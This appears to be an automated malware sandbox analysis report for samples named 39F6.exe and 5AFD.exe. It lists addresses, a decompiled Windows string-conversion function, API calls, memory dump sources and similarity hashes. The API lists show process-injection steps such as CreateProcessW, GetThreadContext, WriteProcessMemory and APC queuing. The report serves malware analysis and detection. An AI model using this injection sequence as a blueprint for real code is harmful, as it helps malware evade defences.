0x6ceb8185
0x6ceb8187
0x6ceb819a
0x6ceb819a
0x6ceb819c
0x6ceb819c
0x6ceb819f
0x6ceb81a2
0x6ceb81a3
0x6ceb81a6
0x6ceb81a9
0x00000000
0x6ceb81a9
0x6ceb818c
0x6ceb8190
0x00000000
0x6ceb8192
0x6ceb8195
0x00000000
0x6ceb8195
0x6ceb8190
0x6ceb814c
0x6ceb814f
0x6ceb8161
0x6ceb8161
0x6ceb8164
0x00000000
0x00000000
0x6ceb816a
0x6ceb816d
0x00000000
0x00000000
0x00000000
0x6ceb816d
0x6ceb8151
0x6ceb8156
0x6ceb8158
0x00000000
0x6ceb815e
0x6ceb815e
0x00000000
0x6ceb815e
0x6ceb81c1
0x6ceb81c1
0x6ceb81c4
0x6ceb81c4
0x6ceb81cc
0x00000000
0x6ceb81cc
0x6ceb80d5
0x6ceb80d9
0x6ceb80f6
0x6ceb80f6
0x00000000
0x6ceb80f6
0x6ceb80dd
0x6ceb80de
0x6ceb80e1
0x00000000
0x00000000
0x6ceb80e7
0x6ceb80ea
0x00000000
0x00000000
0x6ceb80ec
0x6ceb80f0
0x00000000
0x00000000
0x00000000
0x6ceb80f0
0x6ceb84a5
0x6ceb84a9
0x6ceb84af
0x6ceb84b2
0x00000000
0x6ceb84b2
0x6ceb84ab
0x6ceb84ad
0x6ceb846e
0x6ceb846e
0x6ceb8484
0x6ceb8486
0x00000000
0x00000000
0x6ceb8488
0x6ceb848a
0x6ceb848b
0x6ceb848f
0x6ceb84c2
0x6ceb84c4
0x00000000
0x6ceb84c4
0x00000000
0x6ceb848f
0x00000000
0x6ceb84ad
0x6ceb8096
0x6ceb8096
0x6ceb8099
0x00000000
0x6ceb8099

Strings

xl--, xrefs: 6CEB80FD, 6CEB8215
xn--, xrefs: 6CEB80F6, 6CEB810E, 6CEB821C, 6CEB8223

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: xl--$xn--
API String ID: 0-2182639396
Opcode ID: 4f9cf474a2d318b624c69cb6d7da254cd17fa7fcdef4e9f3f3b4940a5ed0da4d
Instruction ID: 595af1635e8648750bde596b871e032d118b7b3d117b9a8d5fb6a80ebb79cf7a
Opcode Fuzzy Hash: 4f9cf474a2d318b624c69cb6d7da254cd17fa7fcdef4e9f3f3b4940a5ed0da4d
Instruction Fuzzy Hash: 40E1C171E0025A8FDF24CFA8C6806BDB7B1BF89318F34852BD955BBB40D6749982CB51

Uniqueness

Uniqueness Score: -1.00%

Function 6CE21F30, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 163
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E6CE21F30(signed short* _a4, struct _EXCEPTION_RECORD _a8, char _a12) {
				intOrPtr _v8;
				signed int _v12;
				char _v20;
				unsigned int _v32;
				intOrPtr _v36;
				signed short _v40;
				signed char* _v44;
				signed int _v48;
				signed int _v52;
				signed short _v56;
				signed int _v60;
				unsigned int _v64;
				signed short _v68;
				intOrPtr _v72;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t65;
				long _t68;
				intOrPtr _t69;
				signed short _t70;
				signed int _t76;
				intOrPtr _t77;
				signed int _t83;
				signed int _t88;
				intOrPtr _t89;
				signed short _t92;
				signed short _t96;
				void* _t103;
				unsigned int _t104;
				unsigned int _t106;
				struct _EXCEPTION_RECORD _t108;
				signed char* _t110;
				signed char* _t112;
				signed short* _t115;
				signed short _t116;
				signed int _t119;

				_push(0xfffffffe);
				_push(0x6cedfc68);
				_push(0x6ce517f0);
				_push( *[fs:0x0]);
				_t65 =  *0x6cefd360;
				_v12 = _v12 ^ _t65;
				_push(_t65 ^ _t119);
				_t3 =  &_v20; // 0x6ce83d77
				 *[fs:0x0] = _t3;
				_t108 = _a8;
				if( *0x6cef6d59 != 0) {
					_t68 = RtlxOemStringToUnicodeSize(_t108);
				} else {
					_t68 = 2 + ( *_t108 & 0x0000ffff) * 2;
				}
				if(_t68 > 0xfffe) {
					_t69 = 0xc00000f0;
					goto L14;
				} else {
					_t92 = _t68 - 2;
					_t115 = _a4;
					 *_t115 = _t92;
					if(_a12 != 0) {
						_t115[1] = _t68;
						_t70 = E6CE23A1C(_t68);
						_t115[2] = _t70;
						if(_t70 != 0) {
							L6:
							_v36 = 0;
							_v8 = 0;
							_v72 = 1;
							_t88 =  *_t108 & 0x0000ffff;
							_v52 = _t88;
							_t110 =  *(_t108 + 4);
							_v44 = _t110;
							_t104 =  *_t115 & 0x0000ffff;
							_t116 = _t115[2];
							_v40 = _t116;
							if( *0x6cef690c != 0) {
								if(_t88 != 0) {
									E6CE38840(_t116, _t104,  &_v32, _t110, _t88);
								} else {
									_v32 = _t88;
								}
								L13:
								_v36 = 0;
								 *((short*)(_a4[2] + (_v32 >> 1) * 2)) = 0;
								_v36 = 0;
								_v8 = 0xfffffffe;
								_v72 = 0;
								E6CE22086(_a4[2], _a4, 0);
								_t69 = 0;
								L14:
								 *[fs:0x0] = _v20;
								return _t69;
							}
							_t106 = _t104 >> 1;
							_v64 = _t106;
							if( *0x6cef6d59 != 0) {
								_v68 = _t116;
								while(_t106 != 0 && _t88 != 0) {
									_t106 = _t106 - 1;
									_v64 = _t106;
									_t88 = _t88 - 1;
									_v52 = _t88;
									_t76 =  *_t110 & 0x000000ff;
									_v48 =  *(0x6cef6920 + _t76 * 2) & 0x0000ffff;
									_t96 = _t116 + 2;
									_v56 = _t96;
									if(_v48 == 0) {
										_t77 =  *((intOrPtr*)( *0x6cef6d48 + _t76 * 2));
										_t110 =  &(_t110[1]);
										L31:
										 *_t116 = _t77;
										_t116 = _v56;
										_v44 = _t110;
										_v40 = _t116;
										continue;
									}
									if(_t88 != 0) {
										_t112 =  &(_t110[1]);
										_v44 = _t112;
										_t77 =  *((intOrPtr*)( *0x6cef6b34 + (( *_t112 & 0x000000ff) + (_v48 & 0x0000ffff)) * 2));
										_t110 =  &(_t112[1]);
										_t88 = _t88 - 1;
										_v52 = _t88;
										goto L31;
									}
									 *_t116 = 0;
									_t116 = _t96;
									_v40 = _t116;
									break;
								}
								_v32 = _t116 - _v68;
								goto L13;
							}
							if(_t106 >= _t88) {
								_t106 = _t88;
							}
							_v32 = _t106 + _t106;
							_t89 =  *0x6cef6d48;
							_t83 = 0;
							while(1) {
								_v60 = _t83;
								if(_t83 >= _t106) {
									goto L13;
								}
								 *((short*)(_t116 + _t83 * 2)) =  *((intOrPtr*)(_t89 + (_t110[_t83] & 0x000000ff) * 2));
								_t83 = _t83 + 1;
							}
							goto L13;
						}
						_t69 = 0xc0000017;
						goto L14;
					}
					_t103 = (_t92 & 0x0000ffff) + 2;
					if(_t103 > (_t115[1] & 0x0000ffff) || _t103 < 2) {
						_t69 = 0x80000005;
						goto L14;
					} else {
						goto L6;
					}
				}
			}

0x6ce21f35
0x6ce21f37
0x6ce21f3c
0x6ce21f47
0x6ce21f4e
0x6ce21f53
0x6ce21f58
0x6ce21f59
0x6ce21f5c
0x6ce21f62
0x6ce21f6c
0x6ce6cee2
0x6ce21f72
0x6ce21f75
0x6ce21f75
0x6ce21f81
0x6ce6ceec
0x00000000
0x6ce21f87
0x6ce21f87
0x6ce21f8a
0x6ce21f8d
0x6ce21f94
0x6ce2206a
0x6ce2206f
0x6ce22074
0x6ce22079
0x6ce21fb5
0x6ce21fb5
0x6ce21fbc
0x6ce21fc3
0x6ce21fca
0x6ce21fcd
0x6ce21fd0
0x6ce21fd3
0x6ce21fd6
0x6ce21fd9
0x6ce21fdc
0x6ce21fe6
0x6ce6cef8
0x6ce6cf0a
0x6ce6cefa
0x6ce6cefa
0x6ce6cefa
0x6ce22028
0x6ce22028
0x6ce2203c
0x6ce22042
0x6ce22045
0x6ce2204c
0x6ce2204f
0x6ce22054
0x6ce22056
0x6ce22059
0x6ce22067
0x6ce22067
0x6ce21fec
0x6ce21fee
0x6ce21ff8
0x6ce6cf14
0x6ce6cf17
0x6ce6cf1f
0x6ce6cf20
0x6ce6cf23
0x6ce6cf24
0x6ce6cf27
0x6ce6cf32
0x6ce6cf35
0x6ce6cf38
0x6ce6cf40
0x6ce6cf82
0x6ce6cf86
0x6ce6cf87
0x6ce6cf87
0x6ce6cf8a
0x6ce6cf8d
0x6ce6cf90
0x00000000
0x6ce6cf90
0x6ce6cf44
0x6ce6cf63
0x6ce6cf64
0x6ce6cf71
0x6ce6cf75
0x6ce6cf76
0x6ce6cf77
0x00000000
0x6ce6cf77
0x6ce6cf48
0x6ce6cf4b
0x6ce6cf4d
0x00000000
0x6ce6cf4d
0x6ce6cf56
0x00000000
0x6ce6cf56
0x6ce22000
0x6ce22002
0x6ce22002
0x6ce22007
0x6ce2200a
0x6ce22010
0x6ce22012
0x6ce22012
0x6ce22017
0x00000000
0x00000000
0x6ce22021
0x6ce22025
0x6ce22025
0x00000000
0x6ce22012
0x6ce2207f
0x00000000
0x6ce2207f
0x6ce21f9d
0x6ce21fa6
0x6ce6cfbe
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce21fa6

APIs

RtlxOemStringToUnicodeSize.1105(?,?,00000000,?,00000001,?,?,?,?,?,6CE517F0,6CEDFC68,000000FE,?,6CE83D77,?), ref: 6CE6CEE2

Strings

w=l, xrefs: 6CE21F59, 6CE2206E

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: RtlxSizeStringUnicode
String ID: w=l
API String ID: 2371059093-2871391528
Opcode ID: 7d8653c8c538b25e56fd256a29cb270adc70ae48f2eec79f0af9277fde58386c
Instruction ID: 20b0a3cfe0a3eab264b7611a2c7ddd40499ea6cdcb3d77f424e103939581b2e8
Opcode Fuzzy Hash: 7d8653c8c538b25e56fd256a29cb270adc70ae48f2eec79f0af9277fde58386c
Instruction Fuzzy Hash: 9151BFB4A102599FDB10DF9AC480BADFBF4FF59318F20412EE855A7B50D7389941CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6CE2DD82, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.1105(6CEF7B60,?,?,?,?,?,00000000,?,?,?,00000000,?,00000000,?,?,?), ref: 6CE2DED2
RtlLeaveCriticalSection.1105(6CEF7B60,?,?,?,00000000,?,?,?,00000000,?,00000000,?,?,?,00000000,?), ref: 6CE2DF06

Strings

`{l, xrefs: 6CE2DECC

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave
String ID: `{l
API String ID: 3168844106-1648716514
Opcode ID: 502b26a55bf5dd259bcade7a03c3fa9c0cc952682373862948227b61cde2eb35
Instruction ID: c7a0b0a019f8ad3c8cb7fa0738b5db7ab7897d045a0616d5a2ff3a8b3dd1ddc7
Opcode Fuzzy Hash: 502b26a55bf5dd259bcade7a03c3fa9c0cc952682373862948227b61cde2eb35
Instruction Fuzzy Hash: 8B512774A05601CFC318CF29D480A45BBF1FF56318B38C6AED1198BB52E735EA86CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CE8F2B7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

_wcsicmp.1105(?,?,-00000054,-00000054,00000000), ref: 6CE8F2FB
DbgPrint.1105(AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports ,?,?,-00000054,-00000054,00000000), ref: 6CE8F323

Strings

AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports , xrefs: 6CE8F31E

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Print_wcsicmp
String ID: AVRF: pid 0x%X: found dll descriptor for `%ws' with verified exports
API String ID: 2655330621-555053354
Opcode ID: a2fd74c48ef6972c8244b157012d11b55ef615c3abea68ebe866a0803213f340
Instruction ID: e124992b800f4cc09679c7c71d9a7773417951c6e87f8b74d4bb6d383fdfb515
Opcode Fuzzy Hash: a2fd74c48ef6972c8244b157012d11b55ef615c3abea68ebe866a0803213f340
Instruction Fuzzy Hash: A221A232902208EFDB11CE54D980759B7B1FF8532CF354199C96827B90D335AE45DB80

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 39F6.exe PID: 244 Parent PID: 3352 39F6.exeCOMMON

Executed Functions

Function 02BC48D0, Relevance: 1.6, APIs: 1, Instructions: 63memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(?,?,?,?,?,?), ref: 02BC495B

Memory Dump Source

Source File: 0000001E.00000002.498496450.0000000002BC0000.00000040.00000001.sdmp, Offset: 02BC0000, based on PE: false

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: af92f0c67331341f798b6718d518393a6103c1ecdb9f1e9b070a2ecf17dec324
Instruction ID: ace022843742e5687f64bdbf6bc734a23e67ab4629f814da6964212ea1c91ee6
Opcode Fuzzy Hash: af92f0c67331341f798b6718d518393a6103c1ecdb9f1e9b070a2ecf17dec324
Instruction Fuzzy Hash: 112114B1D002199FCF10CFA9D984ADEBBF5FF58214F11882AE519A7210D7749A44CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02BC48D8, Relevance: 1.6, APIs: 1, Instructions: 61memorynativeCOMMON

Download Yara Rule

APIs

NtAllocateVirtualMemory.NTDLL(?,?,?,?,?,?), ref: 02BC495B

Memory Dump Source

Source File: 0000001E.00000002.498496450.0000000002BC0000.00000040.00000001.sdmp, Offset: 02BC0000, based on PE: false

Similarity

API ID: AllocateMemoryVirtual
String ID:
API String ID: 2167126740-0
Opcode ID: fb665885f2ed2ad5b68a034885f235cd209a1143afe28b7f2a8acf0cd9017a17
Instruction ID: aa7b645c7b25e7b2429437da036f438a853b1216e3286fb8dcb84de0eb236515
Opcode Fuzzy Hash: fb665885f2ed2ad5b68a034885f235cd209a1143afe28b7f2a8acf0cd9017a17
Instruction Fuzzy Hash: C621F5B19003199FCF10DFAAD984ADEFBF5FF48314F50882AE519A7210D7759944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02BC3803, Relevance: 1.7, APIs: 1, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001E.00000002.498496450.0000000002BC0000.00000040.00000001.sdmp, Offset: 02BC0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9828f0bba838b4ebf59171af5a68326008652722b1f181b586dff44e539f47c8
Instruction ID: 34647ff5e6d8d0c463f35d91af72a09e58c720c917f53b4df6a1e6eddc8b828f
Opcode Fuzzy Hash: 9828f0bba838b4ebf59171af5a68326008652722b1f181b586dff44e539f47c8
Instruction Fuzzy Hash: A57159319012688FDF25CFA8C8547DEBBB5AF48314F5589DAD909B7290CB705E89CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02BC3D44, Relevance: 1.7, APIs: 1, Instructions: 161threadCOMMON

Download Yara Rule

APIs

GetThreadContext.KERNELBASE(?,?), ref: 02BC3E50

Memory Dump Source

Source File: 0000001E.00000002.498496450.0000000002BC0000.00000040.00000001.sdmp, Offset: 02BC0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: d69e27621881b6e1f09078347314268882e09b0c1096e42be70c3d3838aada84
Instruction ID: 4bd78bdff37ce100d741ba843c6e8bbb4ff0ae6c17c2057de722d19d7d78ea2f
Opcode Fuzzy Hash: d69e27621881b6e1f09078347314268882e09b0c1096e42be70c3d3838aada84
Instruction Fuzzy Hash: 874138B1D103298BDB66CF69C9897DEBBB9AF45204F5088E9E40DA7240CB745F89CF40

Uniqueness

Uniqueness Score: -1.00%

Function 02BC3AFC, Relevance: 1.7, APIs: 1, Instructions: 160processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000,00000009,?,?,?,?,?,?,?), ref: 02BC3C47

Memory Dump Source

Source File: 0000001E.00000002.498496450.0000000002BC0000.00000040.00000001.sdmp, Offset: 02BC0000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 10855d30f9fc42d82e1961e92cd20e5dbb741913a47fde20284367c9423e2eff
Instruction ID: ab264bda90caec23ddc59f52855472951b809ba31b462a923a8e0dde70fbbf14
Opcode Fuzzy Hash: 10855d30f9fc42d82e1961e92cd20e5dbb741913a47fde20284367c9423e2eff
Instruction Fuzzy Hash: DD513871800229CBEF20CFA5C944BDEBBB5FF48214F1589DAE909B7250DB715A89CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02BC3D50, Relevance: 1.7, APIs: 1, Instructions: 155threadCOMMON

Download Yara Rule

APIs

GetThreadContext.KERNELBASE(?,?), ref: 02BC3E50

Memory Dump Source

Source File: 0000001E.00000002.498496450.0000000002BC0000.00000040.00000001.sdmp, Offset: 02BC0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: a796aa99a5f1a8dfd91d2ad23fc4abfb4aab578c64222b89ce4a443ef0fa0692
Instruction ID: a4cd3c4f957c84ff1827353eed7920603a75ca9a98c519c0bfcec95b9eb009de
Opcode Fuzzy Hash: a796aa99a5f1a8dfd91d2ad23fc4abfb4aab578c64222b89ce4a443ef0fa0692
Instruction Fuzzy Hash: 9E4107B1D003298BDB66DF69C9847DEBBB9AF45204F5084E9E40DA7240DB745F89CF50

Uniqueness

Uniqueness Score: -1.00%

Function 02BC3B08, Relevance: 1.7, APIs: 1, Instructions: 154processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000,00000009,?,?,?,?,?,?,?), ref: 02BC3C47

Memory Dump Source

Source File: 0000001E.00000002.498496450.0000000002BC0000.00000040.00000001.sdmp, Offset: 02BC0000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 17baa831daaf000ded60043762d032b836d678f3a86caadeab431e35e8a55650
Instruction ID: 2d0ac56349d106cd05d8a6813e39ac1fdaa77eafd16cdbd283b4742a5227a9b1
Opcode Fuzzy Hash: 17baa831daaf000ded60043762d032b836d678f3a86caadeab431e35e8a55650
Instruction Fuzzy Hash: 07512871800229DBEF20CF95C944BDEBBB5FF48214F5489DAE909B7250DB715A85CF90

Uniqueness

Uniqueness Score: -1.00%

Function 02BC4438, Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 02BC44C8

Memory Dump Source

Source File: 0000001E.00000002.498496450.0000000002BC0000.00000040.00000001.sdmp, Offset: 02BC0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 0c0fc075a80053302c0af3bcb7eedbbc7a7b60e43533a583921ceece3fcc1a8d
Instruction ID: 58c012c74785185257fc5f3cea48eeddce362ec8682e7ebe2dcb70f8d0e5cff1
Opcode Fuzzy Hash: 0c0fc075a80053302c0af3bcb7eedbbc7a7b60e43533a583921ceece3fcc1a8d
Instruction Fuzzy Hash: E92127719003199FCF10CFA9C984BEEBBF5FF48314F14882AE919A7240DB789944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02BC4430, Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 02BC44C8

Memory Dump Source

Source File: 0000001E.00000002.498496450.0000000002BC0000.00000040.00000001.sdmp, Offset: 02BC0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: c8309f770d6e7e69edb9bc4d594fe21f6f6ac3a079cbc2551aabac8103f29d09
Instruction ID: 3c9baed0cad12c945f95931251d45a4ebe5c3d3aaa7905f826cde7b8c6c3c2a7
Opcode Fuzzy Hash: c8309f770d6e7e69edb9bc4d594fe21f6f6ac3a079cbc2551aabac8103f29d09
Instruction Fuzzy Hash: FC2157B19003499FCF10CFA9C984BEEBBF5FF48314F14882AE919A7240D7789944CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 02BC4750, Relevance: 1.6, APIs: 1, Instructions: 56threadCOMMON

Download Yara Rule

APIs

RtlQueueApcWow64Thread.NTDLL(?,?,?,?,?), ref: 02BC47C6

Memory Dump Source

Source File: 0000001E.00000002.498496450.0000000002BC0000.00000040.00000001.sdmp, Offset: 02BC0000, based on PE: false

Similarity

API ID: QueueThreadWow64
String ID:
API String ID: 1120405860-0
Opcode ID: 1f7ce9b9bebe5bffc7e4f69d639d646f627e98bf1b1f2238e0efbbe0d6d059f2
Instruction ID: cddf1aa81b51fc2599866943b5bc743e3c1eaf9465cc103bb36a4cfaf5c63d12
Opcode Fuzzy Hash: 1f7ce9b9bebe5bffc7e4f69d639d646f627e98bf1b1f2238e0efbbe0d6d059f2
Instruction Fuzzy Hash: C31156729002099FCF10DFA9D9447DFBBF9EF88324F14882AE516A7250CB759944CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 02BC4758, Relevance: 1.6, APIs: 1, Instructions: 53threadCOMMON

Download Yara Rule

APIs

RtlQueueApcWow64Thread.NTDLL(?,?,?,?,?), ref: 02BC47C6

Memory Dump Source

Source File: 0000001E.00000002.498496450.0000000002BC0000.00000040.00000001.sdmp, Offset: 02BC0000, based on PE: false

Similarity

API ID: QueueThreadWow64
String ID:
API String ID: 1120405860-0
Opcode ID: 33f2444a08f2fa5944edff0d06193c51c0e659391b14924a285fc0abb3705ef6
Instruction ID: 1aa50cf3aaa57258cf32b809a0454d42f84f691b7d053debe9caa91c4eac3ee6
Opcode Fuzzy Hash: 33f2444a08f2fa5944edff0d06193c51c0e659391b14924a285fc0abb3705ef6
Instruction Fuzzy Hash: 2F1156719002089FCF10DFA9D9447DFBBF9AF48324F14882AE515A7250C775A944CFA0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 5AFD.exe PID: 5660 Parent PID: 3352 5AFD.exeCOMMON

Executed Functions

Function 02E4DE81, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 02E4DEC9

Memory Dump Source

Source File: 00000021.00000002.485025398.0000000002E49000.00000040.00000001.sdmp, Offset: 02E49000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 54df3b98d5e759b4480db35f305ef6e40a8a12b761657b939a28957d014453bf
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 64F096316407156FD7203BF9BC8CB6F76ECAF59628F105568E642914C0DF70E8454A61

Uniqueness

Uniqueness Score: -1.00%

Function 02E4DB40, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02E4DB91

Memory Dump Source

Source File: 00000021.00000002.485025398.0000000002E49000.00000040.00000001.sdmp, Offset: 02E49000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: abf90ce40281b4bbbc03562be2f315ed5f615675218973f26dd885716e8231a3
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 4F112879A40208EFDB01DF98C985E98BBF5AF08751F05C0A4F9489B361D771EA90EF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 39F6.exe PID: 6368 Parent PID: 244 39F6.exeCOMMON

Executed Functions

Function 00401F20, Relevance: 27.2, APIs: 18, Instructions: 157memoryCOMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(00000000,?), ref: 00401F4A
GetProcessHeap.KERNEL32(00000008,?), ref: 00401F5F
HeapAlloc.KERNEL32(00000000), ref: 00401F62
GetUserNameW.ADVAPI32(00000000,?), ref: 00401F70
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 00401F93
GetProcessHeap.KERNEL32(00000008,?), ref: 00401F9E
HeapAlloc.KERNEL32(00000000), ref: 00401FA1
GetProcessHeap.KERNEL32(00000008,?), ref: 00401FB1
HeapAlloc.KERNEL32(00000000), ref: 00401FB4
LookupAccountNameW.ADVAPI32(00000000,?,00000000,?,00000000,?,?), ref: 00401FDE
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 00401FF1
GetProcessHeap.KERNEL32(00000000,?), ref: 00402082
HeapFree.KERNEL32(00000000), ref: 0040208B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00402090
HeapFree.KERNEL32(00000000), ref: 00402093
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040209A
HeapFree.KERNEL32(00000000), ref: 0040209D
LocalFree.KERNEL32(00000000), ref: 004020A2

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Heap$Process$FreeName$Alloc$AccountLookupUser$ConvertLocalString
String ID:
API String ID: 3326663573-0
Opcode ID: 84e581f63fd2548f23d34ebb9f3b46552125aff3614753df5e77b6a2fa1044fb
Instruction ID: d492bd8296fd2dd1f8d5138aa57cc7271cf5f01e72d77353cf5490167f6fa3f3
Opcode Fuzzy Hash: 84e581f63fd2548f23d34ebb9f3b46552125aff3614753df5e77b6a2fa1044fb
Instruction Fuzzy Hash: 32516275E00219AFDB109FA5CD88FAFBB7CEF44344F05416AE905A3281DA749E05CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00412AB1, Relevance: 4.5, APIs: 3, Instructions: 20COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,00412AB0,?,?,?,?,?,00413B62), ref: 00412AD3
TerminateProcess.KERNEL32(00000000,?,00412AB0,?,?,?,?,?,00413B62), ref: 00412ADA
ExitProcess.KERNEL32 ref: 00412AEC

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: e04fff1fcd62ed4c0ec845f691e2175282aea113ede7df89dcb23ddb00460aeb
Instruction ID: 2978124f6ebb2ebb760cbbfcc57e42dc948c193bee6a21685c17d36dddeca356
Opcode Fuzzy Hash: e04fff1fcd62ed4c0ec845f691e2175282aea113ede7df89dcb23ddb00460aeb
Instruction Fuzzy Hash: C0E04631201108AFCF216B24CE09AAE3B29FF00381B404029F805CA231CF79EDA3CA88

Uniqueness

Uniqueness Score: -1.00%

Function 00410E58, Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00010E64,0041095D), ref: 00410E5D

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 9dd17286ba4de2365e8c832e2fe13ee54185d320b33f5e1b6a97acbbb1a439a3
Instruction ID: ba3b22b7de774ed40fd1b20fe171d262418bd074a4b9c101d9b425480ecb8d71
Opcode Fuzzy Hash: 9dd17286ba4de2365e8c832e2fe13ee54185d320b33f5e1b6a97acbbb1a439a3
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0041B13A, Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301COMMON

Download Yara Rule

Strings

, xrefs: 0041B3C2

Memory Dump Source

Source File: 00000023.00000002.513536003.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 886338c1d85336a6e955fc68a4c59b3b34c0f5a2a8e5d613b0ebfdebe096023e
Instruction ID: 8b92f953748715a7e0a0c344bd311d7600a126473bef58d55c40f48aa63deeec
